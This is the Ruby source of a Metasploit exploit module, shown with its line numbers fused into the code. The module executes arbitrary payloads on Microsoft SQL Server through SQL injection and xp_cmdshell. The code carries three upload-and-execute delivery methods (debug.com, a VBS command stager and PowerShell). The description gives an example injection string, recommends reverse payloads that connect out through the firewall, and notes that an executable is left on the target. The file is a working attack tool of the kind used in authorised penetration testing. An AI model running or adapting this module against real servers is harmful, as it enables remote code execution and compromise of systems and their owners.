Path: blob/master/modules/exploits/windows/mssql/mssql_payload_sqli.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MSSQL_SQLI9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Microsoft SQL Server Payload Execution via SQL Injection',16'Description' => %q{17This module will execute an arbitrary payload on a Microsoft SQL18Server, using a SQL injection vulnerability.1920Once a vulnerability is identified this module21will use xp_cmdshell to upload and execute Metasploit payloads.22It is necessary to specify the exact point where the SQL injection23vulnerability happens. For example, given the following injection:2425http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical2627you would need to set the following path:28set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar2930In regard to the payload, unless there is a closed port in the web server,31you dont want to use any "bind" payload, specially on port 80, as you will32stop reaching the vulnerable web server host. You want a "reverse" payload, probably to33your port 80 or to any other outbound port allowed on the firewall.34For privileged ports execute Metasploit msfconsole as root.3536Currently, three delivery methods are supported.3738First, the original method uses Windows 'debug.com'. File size restrictions are39avoided by incorporating the debug bypass method presented by SecureStat at40Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.4142A second method takes advantage of the Command Stager subsystem. This allows using43various techniques, such as using a TFTP server, to send the executable. By default44the Command Stager uses 'wcsript.exe' to generate the executable on the target.4546Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the47payload on the target.4849NOTE: This module will leave a payload executable on the target system when the50attack is finished.51},52'Author' => [53'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method54'jduck', # command stager mods55'Rodrigo Marcos' # SQL injection mods56],57'License' => MSF_LICENSE,58'References' => [59# 'sa' password in logs60[ 'CVE', '2000-0402' ],61[ 'OSVDB', '557' ],62[ 'BID', '1281' ],6364# blank default 'sa' password65[ 'CVE', '2000-1209' ],66[ 'OSVDB', '15757' ],67[ 'BID', '4797' ],6869# code and comments70[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]7172],73'Platform' => 'win',74'Arch' => [ ARCH_X86, ARCH_X64 ],75'Payload' => {76'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",77},78'Targets' => [79[ 'Automatic', {} ],80],81'CmdStagerFlavor' => 'vbs',82'DefaultTarget' => 0,83'DisclosureDate' => '2000-05-30',84'Notes' => {85'Reliability' => UNKNOWN_RELIABILITY,86'Stability' => UNKNOWN_STABILITY,87'SideEffects' => UNKNOWN_SIDE_EFFECTS88}89)90)91register_options(92[93OptEnum.new('DELIVERY', [true, 'Payload delivery method', 'OLD', ['PS', 'CMD', 'OLD']])94]95)96end9798# This is method required for the CmdStager to work...99def execute_command(cmd, opts)100mssql_xpcmdshell(cmd, datastore['VERBOSE'])101end102103def exploit104method = datastore['DELIVERY'].downcase105106if (method =~ /^cmd/)107execute_cmdstager({ :linemax => 1500, :nodelete => true })108# execute_cmdstager({ :linemax => 1500 })109else110# Generate the EXE, this is the same no matter what delivery mechanism we use111exe = generate_payload_exe112113# Use powershell method for payload delivery if specified114if (method =~ /^ps/) or (method =~ /^power/)115powershell_upload_exec(exe)116else117# Otherwise, fall back to the old way..118mssql_upload_exec(exe, datastore['VERBOSE'])119end120end121print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")122select(nil, nil, nil, 50)123handler124disconnect125end126127end128129130